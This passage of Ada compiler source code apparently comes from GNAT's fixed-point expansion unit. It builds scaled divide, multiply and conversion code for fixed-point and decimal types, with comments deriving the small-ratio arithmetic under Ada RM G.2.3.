-- Scaled_Divide (X, Y, Z, Qnn, Rnn, Round);]
procedure Build_Scaled_Divide_Code
(N : Node_Id;
X, Y, Z : Node_Id;
Qnn, Rnn : out Entity_Id;
Code : out List_Id)
is
Loc : constant Source_Ptr := Sloc (N);
X_Size : constant Nat := UI_To_Int (Esize (Etype (X)));
Y_Size : constant Nat := UI_To_Int (Esize (Etype (Y)));
Z_Size : constant Nat := UI_To_Int (Esize (Etype (Z)));
QR_Siz : Nat;
QR_Typ : Entity_Id;
Nnn : Entity_Id;
Dnn : Entity_Id;
Quo : Node_Id;
Rnd : Entity_Id;
begin
-- Find type that will allow computation of numerator
QR_Siz := Nat'Max (X_Size, 2 * Nat'Max (Y_Size, Z_Size));
if QR_Siz <= 16 then
QR_Typ := Standard_Integer_16;
elsif QR_Siz <= 32 then
QR_Typ := Standard_Integer_32;
elsif QR_Siz <= 64 then
QR_Typ := Standard_Integer_64;
-- For more than 64, bits, we use the 64-bit integer defined in
-- Interfaces, so that it can be handled by the runtime routine.
else
QR_Typ := RTE (RE_Integer_64);
end if;
-- Define quotient and remainder, and set their Etypes, so
-- that they can be picked up by Build_xxx routines.
Qnn := Make_Temporary (Loc, 'S');
Rnn := Make_Temporary (Loc, 'R');
Set_Etype (Qnn, QR_Typ);
Set_Etype (Rnn, QR_Typ);
-- Case that we can compute the numerator in 64 bits
if QR_Siz <= 64 then
Nnn := Make_Temporary (Loc, 'N');
Dnn := Make_Temporary (Loc, 'D');
-- Set Etypes, so that they can be picked up by New_Occurrence_Of
Set_Etype (Nnn, QR_Typ);
Set_Etype (Dnn, QR_Typ);
Code := New_List (
Make_Object_Declaration (Loc,
Defining_Identifier => Nnn,
Object_Definition => New_Occurrence_Of (QR_Typ, Loc),
Constant_Present => True,
Expression =>
Build_Multiply (N,
Build_Conversion (N, QR_Typ, X),
Build_Conversion (N, QR_Typ, Y))),
Make_Object_Declaration (Loc,
Defining_Identifier => Dnn,
Object_Definition => New_Occurrence_Of (QR_Typ, Loc),
Constant_Present => True,
Expression => Build_Conversion (N, QR_Typ, Z)));
Quo :=
Build_Divide (N,
New_Occurrence_Of (Nnn, Loc),
New_Occurrence_Of (Dnn, Loc));
Append_To (Code,
Make_Object_Declaration (Loc,
Defining_Identifier => Qnn,
Object_Definition => New_Occurrence_Of (QR_Typ, Loc),
Constant_Present => True,
Expression => Quo));
Append_To (Code,
Make_Object_Declaration (Loc,
Defining_Identifier => Rnn,
Object_Definition => New_Occurrence_Of (QR_Typ, Loc),
Constant_Present => True,
Expression =>
Build_Rem (N,
New_Occurrence_Of (Nnn, Loc),
New_Occurrence_Of (Dnn, Loc))));
-- Case where numerator does not fit in 64 bits, so we have to
-- call the runtime routine to compute the quotient and remainder
else
Rnd := Boolean_Literals (Rounded_Result_Set (N));
Code := New_List (
Make_Object_Declaration (Loc,
Defining_Identifier => Qnn,
Object_Definition => New_Occurrence_Of (QR_Typ, Loc)),
Make_Object_Declaration (Loc,
Defining_Identifier => Rnn,
Object_Definition => New_Occurrence_Of (QR_Typ, Loc)),
Make_Procedure_Call_Statement (Loc,
Name => New_Occurrence_Of (RTE (RE_Scaled_Divide), Loc),
Parameter_Associations => New_List (
Build_Conversion (N, QR_Typ, X),
Build_Conversion (N, QR_Typ, Y),
Build_Conversion (N, QR_Typ, Z),
New_Occurrence_Of (Qnn, Loc),
New_Occurrence_Of (Rnn, Loc),
New_Occurrence_Of (Rnd, Loc))));
end if;
-- Set type of result, for use in caller
Set_Etype (Qnn, QR_Typ);
end Build_Scaled_Divide_Code;
---------------------------
-- Do_Divide_Fixed_Fixed --
---------------------------
-- We have:
-- (Result_Value * Result_Small) =
-- (Left_Value * Left_Small) / (Right_Value * Right_Small)
-- Result_Value = (Left_Value / Right_Value) *
-- (Left_Small / (Right_Small * Result_Small));
-- we can do the operation in integer arithmetic if this fraction is an
-- integer or the reciprocal of an integer, as detailed in (RM G.2.3(21)).
-- Otherwise the result is in the close result set and our approach is to
-- use floating-point to compute this close result.
procedure Do_Divide_Fixed_Fixed (N : Node_Id) is
Left : constant Node_Id := Left_Opnd (N);
Right : constant Node_Id := Right_Opnd (N);
Left_Type : constant Entity_Id := Etype (Left);
Right_Type : constant Entity_Id := Etype (Right);
Result_Type : constant Entity_Id := Etype (N);
Right_Small : constant Ureal := Small_Value (Right_Type);
Left_Small : constant Ureal := Small_Value (Left_Type);
Result_Small : Ureal;
Frac : Ureal;
Frac_Num : Uint;
Frac_Den : Uint;
Lit_Int : Node_Id;
begin
-- Rounding is required if the result is integral
if Is_Integer_Type (Result_Type) then
Set_Rounded_Result (N);
end if;
-- Get result small. If the result is an integer, treat it as though
-- it had a small of 1.0, all other processing is identical.
if Is_Integer_Type (Result_Type) then
Result_Small := Ureal_1;
else
Result_Small := Small_Value (Result_Type);
end if;
-- Get small ratio
Frac := Left_Small / (Right_Small * Result_Small);
Frac_Num := Norm_Num (Frac);
Frac_Den := Norm_Den (Frac);
-- If the fraction is an integer, then we get the result by multiplying
-- the left operand by the integer, and then dividing by the right
-- operand (the order is important, if we did the divide first, we
-- would lose precision).
if Frac_Den = 1 then
Lit_Int := Integer_Literal (N, Frac_Num); -- always positive
if Present (Lit_Int) then
Set_Result (N, Build_Scaled_Divide (N, Left, Lit_Int, Right));
return;
end if;
-- If the fraction is the reciprocal of an integer, then we get the
-- result by first multiplying the divisor by the integer, and then
-- doing the division with the adjusted divisor.
-- Note: this is much better than doing two divisions: multiplications
-- are much faster than divisions (and certainly faster than rounded
-- divisions), and we don't get inaccuracies from double rounding.
elsif Frac_Num = 1 then
Lit_Int := Integer_Literal (N, Frac_Den); -- always positive
if Present (Lit_Int) then
Set_Result (N, Build_Double_Divide (N, Left, Right, Lit_Int));
return;
end if;
end if;
-- If we fall through, we use floating-point to compute the result
Set_Result (N,
Build_Multiply (N,
Build_Divide (N, Fpt_Value (Left), Fpt_Value (Right)),
Real_Literal (N, Frac)));
end Do_Divide_Fixed_Fixed;
-------------------------------
-- Do_Divide_Fixed_Universal --
-------------------------------
-- We have:
-- (Result_Value * Result_Small) = (Left_Value * Left_Small) / Lit_Value;
-- Result_Value = Left_Value * Left_Small /(Lit_Value * Result_Small);
-- The result is required to be in the perfect result set if the literal
-- can be factored so that the resulting small ratio is an integer or the
-- reciprocal of an integer (RM G.2.3(21-22)). We now give a detailed
-- analysis of these RM requirements:
-- We must factor the literal, finding an integer K:
-- Lit_Value = K * Right_Small
-- Right_Small = Lit_Value / K
-- such that the small ratio:
-- Left_Small
-- ------------------------------
-- (Lit_Value / K) * Result_Small
-- Left_Small
-- = ------------------------ * K
-- Lit_Value * Result_Small
-- is an integer or the reciprocal of an integer, and for
-- implementation efficiency we need the smallest such K.
-- First we reduce the left fraction to lowest terms
-- If numerator = 1, then for K = 1, the small ratio is the reciprocal
-- of an integer, and this is clearly the minimum K case, so set K = 1,
-- Right_Small = Lit_Value.
-- If numerator > 1, then set K to the denominator of the fraction so
-- that the resulting small ratio is an integer (the numerator value).
procedure Do_Divide_Fixed_Universal (N : Node_Id) is
Left : constant Node_Id := Left_Opnd (N);
Right : constant Node_Id := Right_Opnd (N);
Left_Type : constant Entity_Id := Etype (Left);
Result_Type : constant Entity_Id := Etype (N);
Left_Small : constant Ureal := Small_Value (Left_Type);
Lit_Value : constant Ureal := Realval (Right);
Result_Small : Ureal;
Frac : Ureal;
Frac_Num : Uint;
Frac_Den : Uint;
Lit_K : Node_Id;
Lit_Int : Node_Id;
begin
-- Get result small. If the result is an integer, treat it as though
-- it had a small of 1.0, all other processing is identical.
if Is_Integer_Type (Result_Type) then
Result_Small := Ureal_1;
else
Result_Small := Small_Value (Result_Type);
end if;
-- Determine if literal can be rewritten successfully
Frac := Left_Small / (Lit_Value * Result_Small);
Frac_Num := Norm_Num (Frac);
Frac_Den := Norm_Den (Frac);
-- Case where fraction is the reciprocal of an integer (K = 1, integer
-- = denominator). If this integer is not too large, this is the case
-- where the result can be obtained by dividing by this integer value.
if Frac_Num = 1 then
Lit_Int := Integer_Literal (N, Frac_Den, UR_Is_Negative (Frac));
if Present (Lit_Int) then
Set_Result (N, Build_Divide (N, Left, Lit_Int));
return;
end if;
-- Case where we choose K to make fraction an integer (K = denominator
-- of fraction, integer = numerator of fraction). If both K and the
-- numerator are small enough, this is the case where the result can
-- be obtained by first multiplying by the integer value and then
-- dividing by K (the order is important, if we divided first, we
-- would lose precision).
else
Lit_Int := Integer_Literal (N, Frac_Num, UR_Is_Negative (Frac));
Lit_K := Integer_Literal (N, Frac_Den, False);
if Present (Lit_Int) and then Present (Lit_K) then
Set_Result (N, Build_Scaled_Divide (N, Left, Lit_Int, Lit_K));
return;
end if;
end if;
-- Fall through if the literal cannot be successfully rewritten, or if
-- the small ratio is out of range of integer arithmetic. In the former
-- case it is fine to use floating-point to get the close result set,
-- and in the latter case, it means that the result is zero or raises
-- constraint error, and we can do that accurately in floating-point.
-- If we end up using floating-point, then we take the right integer
-- to be one, and its small to be the value of the original right real
-- literal. That way, we need only one floating-point multiplication.
Set_Result (N,
Build_Multiply (N, Fpt_Value (Left), Real_Literal (N, Frac)));
end Do_Divide_Fixed_Universal;
-------------------------------
-- Do_Divide_Universal_Fixed --
-------------------------------
-- We have:
-- (Result_Value * Result_Small) =
-- Lit_Value / (Right_Value * Right_Small)
-- Result_Value =
-- (Lit_Value / (Right_Small * Result_Small)) / Right_Value
-- The result is required to be in the perfect result set if the literal
-- can be factored so that the resulting small ratio is an integer or the
-- reciprocal of an integer (RM G.2.3(21-22)). We now give a detailed
-- analysis of these RM requirements:
-- We must factor the literal, finding an integer K:
-- Lit_Value = K * Left_Small
-- Left_Small = Lit_Value / K
-- such that the small ratio:
-- (Lit_Value / K)
-- --------------------------
-- Right_Small * Result_Small
-- Lit_Value 1
-- = -------------------------- * -
-- Right_Small * Result_Small K
-- is an integer or the reciprocal of an integer, and for
-- implementation efficiency we need the smallest such K.
-- First we reduce the left fraction to lowest terms
-- If denominator = 1, then for K = 1, the small ratio is an integer
-- (the numerator) and this is clearly the minimum K case, so set K = 1,
-- and Left_Small = Lit_Value.
-- If denominator > 1, then set K to the numerator of the fraction so
-- that the resulting small ratio is the reciprocal of an integer (the
-- numerator value).
procedure Do_Divide_Universal_Fixed (N : Node_Id) is
Left : constant Node_Id := Left_Opnd (N);
Right : constant Node_Id := Right_Opnd (N);
Right_Type : constant Entity_Id := Etype (Right);
Result_Type : constant Entity_Id := Etype (N);
Right_Small : constant Ureal := Small_Value (Right_Type);
Lit_Value : constant Ureal := Realval (Left);
Result_Small : Ureal;
Frac : Ureal;
Frac_Num : Uint;
Frac_Den : Uint;
Lit_K : Node_Id;
Lit_Int : Node_Id;
begin
-- Get result small. If the result is an integer, treat it as though
-- it had a small of 1.0, all other processing is identical.
if Is_Integer_Type (Result_Type) then
Result_Small := Ureal_1;
else
Result_Small := Small_Value (Result_Type);
end if;
-- Determine if literal can be rewritten successfully
Frac := Lit_Value / (Right_Small * Result_Small);
Frac_Num := Norm_Num (Frac);
Frac_Den := Norm_Den (Frac);
-- Case where fraction is an integer (K = 1, integer = numerator). If
-- this integer is not too large, this is the case where the result
-- can be obtained by dividing this integer by the right operand.
if Frac_Den = 1 then
Lit_Int := Integer_Literal (N, Frac_Num, UR_Is_Negative (Frac));
if Present (Lit_Int) then
Set_Result (N, Build_Divide (N, Lit_Int, Right));
return;
end if;
-- Case where we choose K to make the fraction the reciprocal of an
-- integer (K = numerator of fraction, integer = numerator of fraction).
-- If both K and the integer are small enough, this is the case where
-- the result can be obtained by multiplying the right operand by K
-- and then dividing by the integer value. The order of the operations
-- is important (if we divided first, we would lose precision).
else
Lit_Int := Integer_Literal (N, Frac_Den, UR_Is_Negative (Frac));
Lit_K := Integer_Literal (N, Frac_Num, False);
if Present (Lit_Int) and then Present (Lit_K) then
Set_Result (N, Build_Double_Divide (N, Lit_K, Right, Lit_Int));
return;
end if;
end if;
-- Fall through if the literal cannot be successfully rewritten, or if
-- the small ratio is out of range of integer arithmetic. In the former
-- case it is fine to use floating-point to get the close result set,
-- and in the latter case, it means that the result is zero or raises
-- constraint error, and we can do that accurately in floating-point.
-- If we end up using floating-point, then we take the right integer
-- to be one, and its small to be the value of the original right real
-- literal. That way, we need only one floating-point division.
Set_Result (N,
Build_Divide (N, Real_Literal (N, Frac), Fpt_Value (Right)));
end Do_Divide_Universal_Fixed;
-----------------------------
-- Do_Multiply_Fixed_Fixed --
-----------------------------
-- We have:
-- (Result_Value * Result_Small) =
-- (Left_Value * Left_Small) * (Right_Value * Right_Small)
-- Result_Value = (Left_Value * Right_Value) *
-- (Left_Small * Right_Small) / Result_Small;
-- we can do the operation in integer arithmetic if this fraction is an
-- integer or the reciprocal of an integer, as detailed in (RM G.2.3(21)).
-- Otherwise the result is in the close result set and our approach is to
-- use floating-point to compute this close result.
procedure Do_Multiply_Fixed_Fixed (N : Node_Id) is
Left : constant Node_Id := Left_Opnd (N);
Right : constant Node_Id := Right_Opnd (N);
Left_Type : constant Entity_Id := Etype (Left);
Right_Type : constant Entity_Id := Etype (Right);
Result_Type : constant Entity_Id := Etype (N);
Right_Small : constant Ureal := Small_Value (Right_Type);
Left_Small : constant Ureal := Small_Value (Left_Type);
Result_Small : Ureal;
Frac : Ureal;
Frac_Num : Uint;
Frac_Den : Uint;
Lit_Int : Node_Id;
begin
-- Get result small. If the result is an integer, treat it as though
-- it had a small of 1.0, all other processing is identical.
if Is_Integer_Type (Result_Type) then
Result_Small := Ureal_1;
else
Result_Small := Small_Value (Result_Type);
end if;
-- Get small ratio
Frac := (Left_Small * Right_Small) / Result_Small;
Frac_Num := Norm_Num (Frac);
Frac_Den := Norm_Den (Frac);
-- If the fraction is an integer, then we get the result by multiplying
-- the operands, and then multiplying the result by the integer value.
if Frac_Den = 1 then
Lit_Int := Integer_Literal (N, Frac_Num); -- always positive
if Present (Lit_Int) then
Set_Result (N,
Build_Multiply (N, Build_Multiply (N, Left, Right),
Lit_Int));
return;
end if;
-- If the fraction is the reciprocal of an integer, then we get the
-- result by multiplying the operands, and then dividing the result by
-- the integer value. The order of the operations is important, if we
-- divided first, we would lose precision.
elsif Frac_Num = 1 then
Lit_Int := Integer_Literal (N, Frac_Den); -- always positive
if Present (Lit_Int) then
Set_Result (N, Build_Scaled_Divide (N, Left, Right, Lit_Int));
return;
end if;
end if;
-- If we fall through, we use floating-point to compute the result
Set_Result (N,
Build_Multiply (N,
Build_Multiply (N, Fpt_Value (Left), Fpt_Value (Right)),
Real_Literal (N, Frac)));
end Do_Multiply_Fixed_Fixed;
---------------------------------
-- Do_Multiply_Fixed_Universal --
---------------------------------
-- We have:
-- (Result_Value * Result_Small) = (Left_Value * Left_Small) * Lit_Value;
-- Result_Value = Left_Value * (Left_Small * Lit_Value) / Result_Small;
-- The result is required to be in the perfect result set if the literal
-- can be factored so that the resulting small ratio is an integer or the
-- reciprocal of an integer (RM G.2.3(21-22)). We now give a detailed
-- analysis of these RM requirements:
-- We must factor the literal, finding an integer K:
-- Lit_Value = K * Right_Small
-- Right_Small = Lit_Value / K
-- such that the small ratio:
-- Left_Small * (Lit_Value / K)
-- ----------------------------
-- Result_Small
-- Left_Small * Lit_Value 1
-- = ---------------------- * -
-- Result_Small K
-- is an integer or the reciprocal of an integer, and for
-- implementation efficiency we need the smallest such K.
-- First we reduce the left fraction to lowest terms
-- If denominator = 1, then for K = 1, the small ratio is an integer, and
-- this is clearly the minimum K case, so set
-- K = 1, Right_Small = Lit_Value
-- If denominator > 1, then set K to the numerator of the fraction, so
-- that the resulting small ratio is the reciprocal of the integer (the
-- denominator value).
procedure Do_Multiply_Fixed_Universal
(N : Node_Id;
Left, Right : Node_Id)
is
Left_Type : constant Entity_Id := Etype (Left);
Result_Type : constant Entity_Id := Etype (N);
Left_Small : constant Ureal := Small_Value (Left_Type);
Lit_Value : constant Ureal := Realval (Right);
Result_Small : Ureal;
Frac : Ureal;
Frac_Num : Uint;
Frac_Den : Uint;
Lit_K : Node_Id;
Lit_Int : Node_Id;
begin
-- Get result small. If the result is an integer, treat it as though
-- it had a small of 1.0, all other processing is identical.
if Is_Integer_Type (Result_Type) then
Result_Small := Ureal_1;
else
Result_Small := Small_Value (Result_Type);
end if;
-- Determine if literal can be rewritten successfully
Frac := (Left_Small * Lit_Value) / Result_Small;
Frac_Num := Norm_Num (Frac);
Frac_Den := Norm_Den (Frac);
-- Case where fraction is an integer (K = 1, integer = numerator). If
-- this integer is not too large, this is the case where the result can
-- be obtained by multiplying by this integer value.
if Frac_Den = 1 then
Lit_Int := Integer_Literal (N, Frac_Num, UR_Is_Negative (Frac));
if Present (Lit_Int) then
Set_Result (N, Build_Multiply (N, Left, Lit_Int));
return;
end if;
-- Case where we choose K to make fraction the reciprocal of an integer
-- (K = numerator of fraction, integer = denominator of fraction). If
-- both K and the denominator are small enough, this is the case where
-- the result can be obtained by first multiplying by K, and then
-- dividing by the integer value.
else
Lit_Int := Integer_Literal (N, Frac_Den, UR_Is_Negative (Frac));
Lit_K := Integer_Literal (N, Frac_Num);
if Present (Lit_Int) and then Present (Lit_K) then
Set_Result (N, Build_Scaled_Divide (N, Left, Lit_K, Lit_Int));
return;
end if;
end if;
-- Fall through if the literal cannot be successfully rewritten, or if
-- the small ratio is out of range of integer arithmetic. In the former
-- case it is fine to use floating-point to get the close result set,
-- and in the latter case, it means that the result is zero or raises
-- constraint error, and we can do that accurately in floating-point.
-- If we end up using floating-point, then we take the right integer
-- to be one, and its small to be the value of the original right real
-- literal. That way, we need only one floating-point multiplication.
Set_Result (N,
Build_Multiply (N, Fpt_Value (Left), Real_Literal (N, Frac)));
end Do_Multiply_Fixed_Universal;
---------------------------------
-- Expand_Convert_Fixed_Static --
---------------------------------
procedure Expand_Convert_Fixed_Static (N : Node_Id) is
begin
Rewrite (N,
Convert_To (Etype (N),
Make_Real_Literal (Sloc (N), Expr_Value_R (Expression (N)))));
Analyze_And_Resolve (N);
end Expand_Convert_Fixed_Static;
-----------------------------------
-- Expand_Convert_Fixed_To_Fixed --
-----------------------------------
-- We have:
-- Result_Value * Result_Small = Source_Value * Source_Small
-- Result_Value = Source_Value * (Source_Small / Result_Small)
-- If the small ratio (Source_Small / Result_Small) is a sufficiently small
-- integer, then the perfect result set is obtained by a single integer
-- multiplication.
-- If the small ratio is the reciprocal of a sufficiently small integer,
-- then the perfect result set is obtained by a single integer division.
-- In other cases, we obtain the close result set by calculating the
-- result in floating-point.
procedure Expand_Convert_Fixed_To_Fixed (N : Node_Id) is
Rng_Check : constant Boolean := Do_Range_Check (N);
Expr : constant Node_Id := Expression (N);
Result_Type : constant Entity_Id := Etype (N);
Source_Type : constant Entity_Id := Etype (Expr);
Small_Ratio : Ureal;
Ratio_Num : Uint;
Ratio_Den : Uint;
Lit : Node_Id;
begin
if Is_OK_Static_Expression (Expr) then
Expand_Convert_Fixed_Static (N);
return;
end if;
Small_Ratio := Small_Value (Source_Type) / Small_Value (Result_Type);
Ratio_Num := Norm_Num (Small_Ratio);
Ratio_Den := Norm_Den (Small_Ratio);
if Ratio_Den = 1 then
if Ratio_Num = 1 then
Set_Result (N, Expr);
return;
else
Lit := Integer_Literal (N, Ratio_Num);
if Present (Lit) then
Set_Result (N, Build_Multiply (N, Expr, Lit));
return;
end if;
end if;
elsif Ratio_Num = 1 then
Lit := Integer_Literal (N, Ratio_Den);
if Present (Lit) then
Set_Result (N, Build_Divide (N, Expr, Lit), Rng_Check);
return;
end if;
end if;
-- Fall through to use floating-point for the close result set case
-- either as a result of the small ratio not being an integer or the
-- reciprocal of an integer, or if the integer is out of range.
Set_Result (N,
Build_Multiply (N,
Fpt_Value (Expr),
Real_Literal (N, Small_Ratio)),
Rng_Check);
end Expand_Convert_Fixed_To_Fixed;
-----------------------------------
-- Expand_Convert_Fixed_To_Float --
-----------------------------------
-- If the small of the fixed type is 1.0, then we simply convert the
-- integer value directly to the target floating-point type, otherwise
-- we first have to multiply by the small, in Universal_Real, and then
-- convert the result to the target floating-point type.
procedure Expand_Convert_Fixed_To_Float (N : Node_Id) is
Rng_Check : constant Boolean := Do_Range_Check (N);
Expr : constant Node_Id := Expression (N);
Source_Type : constant Entity_Id := Etype (Expr);
Small : constant Ureal := Small_Value (Source_Type);
begin
if Is_OK_Static_Expression (Expr) then
Expand_Convert_Fixed_Static (N);
return;
end if;
if Small = Ureal_1 then
Set_Result (N, Expr);
else
Set_Result (N,
Build_Multiply (N,
Fpt_Value (Expr),
Real_Literal (N, Small)),
Rng_Check);
end if;
end Expand_Convert_Fixed_To_Float;
-------------------------------------
-- Expand_Convert_Fixed_To_Integer --
-------------------------------------
-- We have:
-- Result_Value = Source_Value * Source_Small
-- If the small value is a sufficiently small integer, then the perfect
-- result set is obtained by a single integer multiplication.
-- If the small value is the reciprocal of a sufficiently small integer,
-- then the perfect result set is obtained by a single integer division.
-- In other cases, we obtain the close result set by calculating the
-- result in floating-point.
procedure Expand_Convert_Fixed_To_Integer (N : Node_Id) is
Rng_Check : constant Boolean := Do_Range_Check (N);
Expr : constant Node_Id := Expression (N);
Source_Type : constant Entity_Id := Etype (Expr);
Small : constant Ureal := Small_Value (Source_Type);
Small_Num : constant Uint := Norm_Num (Small);
Small_Den : constant Uint := Norm_Den (Small);
Lit : Node_Id;
begin
if Is_OK_Static_Expression (Expr) then
Expand_Convert_Fixed_Static (N);
return;
end if;
if Small_Den = 1 then
Lit := Integer_Literal (N, Small_Num);
if Present (Lit) then
Set_Result (N, Build_Multiply (N, Expr, Lit), Rng_Check);
return;
end if;
elsif Small_Num = 1 then
Lit := Integer_Literal (N, Small_Den);
if Present (Lit) then
Set_Result (N, Build_Divide (N, Expr, Lit), Rng_Check);
return;
end if;
end if;
-- Fall through to use floating-point for the close result set case
-- either as a result of the small value not being an integer or the
-- reciprocal of an integer, or if the integer is out of range.
Set_Result (N,
Build_Multiply (N,
Fpt_Value (Expr),
Real_Literal (N, Small)),
Rng_Check);
end Expand_Convert_Fixed_To_Integer;
-----------------------------------
-- Expand_Convert_Float_To_Fixed --
-----------------------------------
-- We have
-- Result_Value * Result_Small = Operand_Value
-- so compute:
-- Result_Value = Operand_Value * (1.0 / Result_Small)
-- We do the small scaling in floating-point, and we do a multiplication
-- rather than a division, since it is accurate enough for the perfect
-- result cases, and faster.
procedure Expand_Convert_Float_To_Fixed (N : Node_Id) is
Expr : constant Node_Id := Expression (N);
Orig_N : constant Node_Id := Original_Node (N);
Result_Type : constant Entity_Id := Etype (N);
Rng_Check : constant Boolean := Do_Range_Check (N);
Small : constant Ureal := Small_Value (Result_Type);
Truncate : Boolean;
begin
-- Optimize small = 1, where we can avoid the multiply completely
if Small = Ureal_1 then
Set_Result (N, Expr, Rng_Check, Trunc => True);
-- Normal case where multiply is required. Rounding is truncating
-- for decimal fixed point types only, see RM 4.6(29), except if the
-- conversion comes from an attribute reference 'Round (RM 3.5.10 (14)):
-- The attribute is implemented by means of a conversion that must
-- round.
else
if Is_Decimal_Fixed_Point_Type (Result_Type) then
Truncate :=
Nkind (Orig_N) /= N_Attribute_Reference
or else Get_Attribute_Id
(Attribute_Name (Orig_N)) /= Attribute_Round;
else
Truncate := False;
end if;
Set_Result
(N => N,
Expr =>
Build_Multiply
(N => N,
L => Fpt_Value (Expr),
R => Real_Literal (N, Ureal_1 / Small)),
Rchk => Rng_Check,
Trunc => Truncate);
end if;
end Expand_Convert_Float_To_Fixed;
-------------------------------------
-- Expand_Convert_Integer_To_Fixed --
-------------------------------------
-- We have
-- Result_Value * Result_Small = Operand_Value
-- Result_Value = Operand_Value / Result_Small
-- If the small value is a sufficiently small integer, then the perfect
-- result set is obtained by a single integer division.
-- If the small value is the reciprocal of a sufficiently small integer,
-- the perfect result set is obtained by a single integer multiplication.
-- In other cases, we obtain the close result set by calculating the
-- result in floating-point using a multiplication by the reciprocal
-- of the Result_Small.
procedure Expand_Convert_Integer_To_Fixed (N : Node_Id) is
Rng_Check : constant Boolean := Do_Range_Check (N);
Expr : constant Node_Id := Expression (N);
Result_Type : constant Entity_Id := Etype (N);
Small : constant Ureal := Small_Value (Result_Type);
Small_Num : constant Uint := Norm_Num (Small);
Small_Den : constant Uint := Norm_Den (Small);
Lit : Node_Id;
begin
if Small_Den = 1 then
Lit := Integer_Literal (N, Small_Num);
if Present (Lit) then
Set_Result (N, Build_Divide (N, Expr, Lit), Rng_Check);
return;
end if;
elsif Small_Num = 1 then
Lit := Integer_Literal (N, Small_Den);
if Present (Lit) then
Set_Result (N, Build_Multiply (N, Expr, Lit), Rng_Check);
return;
end if;
end if;
-- Fall through to use floating-point for the close result set case
-- either as a result of the small value not being an integer or the
-- reciprocal of an integer, or if the integer is out of range.
Set_Result (N,
Build_Multiply (N,
Fpt_Value (Expr),
Real_Literal (N, Ureal_1 / Small)),
Rng_Check);
end Expand_Convert_Integer_To_Fixed;
--------------------------------
-- Expand_Decimal_Divide_Call --
--------------------------------
-- We have four operands
-- Dividend
-- Divisor
-- Quotient
-- Remainder
-- All of which are decimal types, and which thus have associated
-- decimal scales.
-- Computing the quotient is a similar problem to that faced by the
-- normal fixed-point division, except that it is simpler, because
-- we always have compatible smalls.
-- Quotient = (Dividend / Divisor) * 10**q
-- where 10 ** q = Dividend'Small / (Divisor'Small * Quotient'Small)
-- so q = Divisor'Scale + Quotient'Scale - Dividend'Scale
-- For q >= 0, we compute
-- Numerator := Dividend * 10 ** q
-- Denominator := Divisor
-- Quotient := Numerator / Denominator
-- For q < 0, we compute
-- Numerator := Dividend
-- Denominator := Divisor * 10 ** q
-- Quotient := Numerator / Denominator
-- Both these divisions are done in truncated mode, and the remainder
-- from these divisions is used to compute the result Remainder. This
-- remainder has the effective scale of the numerator of the division,
-- For q >= 0, the remainder scale is Dividend'Scale + q
-- For q < 0, the remainder scale is Dividend'Scale
-- The result Remainder is then computed by a normal truncating decimal
-- conversion from this scale to the scale of the remainder, i.e. by a
-- division or multiplication by the appropriate power of 10.
procedure Expand_Decimal_Divide_Call (N : Node_Id) is
Loc : constant Source_Ptr := Sloc (N);
Dividend : Node_Id := First_Actual (N);
Divisor : Node_Id := Next_Actual (Dividend);
Quotient : Node_Id := Next_Actual (Divisor);
Remainder : Node_Id := Next_Actual (Quotient);
Dividend_Type : constant Entity_Id := Etype (Dividend);
Divisor_Type : constant Entity_Id := Etype (Divisor);
Quotient_Type : constant Entity_Id := Etype (Quotient);
Remainder_Type : constant Entity_Id := Etype (Remainder);
Dividend_Scale : constant Uint := Scale_Value (Dividend_Type);
Divisor_Scale : constant Uint := Scale_Value (Divisor_Type);
Quotient_Scale : constant Uint := Scale_Value (Quotient_Type);
Remainder_Scale : constant Uint := Scale_Value (Remainder_Type);
Q : Uint;
Numerator_Scale : Uint;
Stmts : List_Id;
Qnn : Entity_Id;
Rnn : Entity_Id;
Computed_Remainder : Node_Id;
Adjusted_Remainder : Node_Id;
Scale_Adjust : Uint;
begin
-- Relocate the operands, since they are now list elements, and we
-- need to reference them separately as operands in the expanded code.
Dividend := Relocate_Node (Dividend);
Divisor := Relocate_Node (Divisor);
Quotient := Relocate_Node (Quotient);
Remainder := Relocate_Node (Remainder);
-- Now compute Q, the adjustment scale
Q := Divisor_Scale + Quotient_Scale - Dividend_Scale;
-- If Q is non-negative then we need a scaled divide
if Q >= 0 then
Build_Scaled_Divide_Code
(N,
Dividend,
Integer_Literal (N, Uint_10 ** Q),
Divisor,
Qnn, Rnn, Stmts);
Numerator_Scale := Dividend_Scale + Q;
-- If Q is negative, then we need a double divide
else
Build_Double_Divide_Code
(N,
Dividend,
Divisor,
Integer_Literal (N, Uint_10 ** (-Q)),
Qnn, Rnn, Stmts);
Numerator_Scale := Dividend_Scale;
end if;
-- Add statement to set quotient value
-- Quotient := quotient-type!(Qnn);
Append_To (Stmts,
Make_Assignment_Statement (Loc,
Name => Quotient,
Expression =>
Unchecked_Convert_To (Quotient_Type,
Build_Conversion (N, Quotient_Type,
New_Occurrence_Of (Qnn, Loc)))));
-- Now we need to deal with computing and setting the remainder. The
-- scale of the remainder is in Numerator_Scale, and the desired
-- scale is the scale of the given Remainder argument. There are
-- three cases:
-- Numerator_Scale > Remainder_Scale
-- in this case, there are extra digits in the computed remainder
-- which must be eliminated by an extra division:
-- computed-remainder := Numerator rem Denominator
-- scale_adjust = Numerator_Scale - Remainder_Scale
-- adjusted-remainder := computed-remainder / 10 ** scale_adjust
-- Numerator_Scale = Remainder_Scale
-- in this case, the we have the remainder we need
-- computed-remainder := Numerator rem Denominator
-- adjusted-remainder := computed-remainder
-- Numerator_Scale < Remainder_Scale
-- in this case, we have insufficient digits in the computed
-- remainder, which must be eliminated by an extra multiply
-- computed-remainder := Numerator rem Denominator
-- scale_adjust = Remainder_Scale - Numerator_Scale
-- adjusted-remainder := computed-remainder * 10 ** scale_adjust
-- Finally we assign the adjusted-remainder to the result Remainder
-- with conversions to get the proper fixed-point type representation.
Computed_Remainder := New_Occurrence_Of (Rnn, Loc);
if Numerator_Scale > Remainder_Scale then
Scale_Adjust := Numerator_Scale - Remainder_Scale;
Adjusted_Remainder :=
Build_Divide
(N, Computed_Remainder, Integer_Literal (N, 10 ** Scale_Adjust));
elsif Numerator_Scale = Remainder_Scale then
Adjusted_Remainder := Computed_Remainder;
else -- Numerator_Scale < Remainder_Scale
Scale_Adjust := Remainder_Scale - Numerator_Scale;
Adjusted_Remainder :=
Build_Multiply
(N, Computed_Remainder, Integer_Literal (N, 10 ** Scale_Adjust));
end if;
-- Assignment of remainder result
Append_To (Stmts,
Make_Assignment_Statement (Loc,
Name => Remainder,
Expression =>
Unchecked_Convert_To (Remainder_Type, Adjusted_Remainder)));
-- Final step is to rewrite the call with a block containing the
-- above sequence of constructed statements for the divide operation.
Rewrite (N,
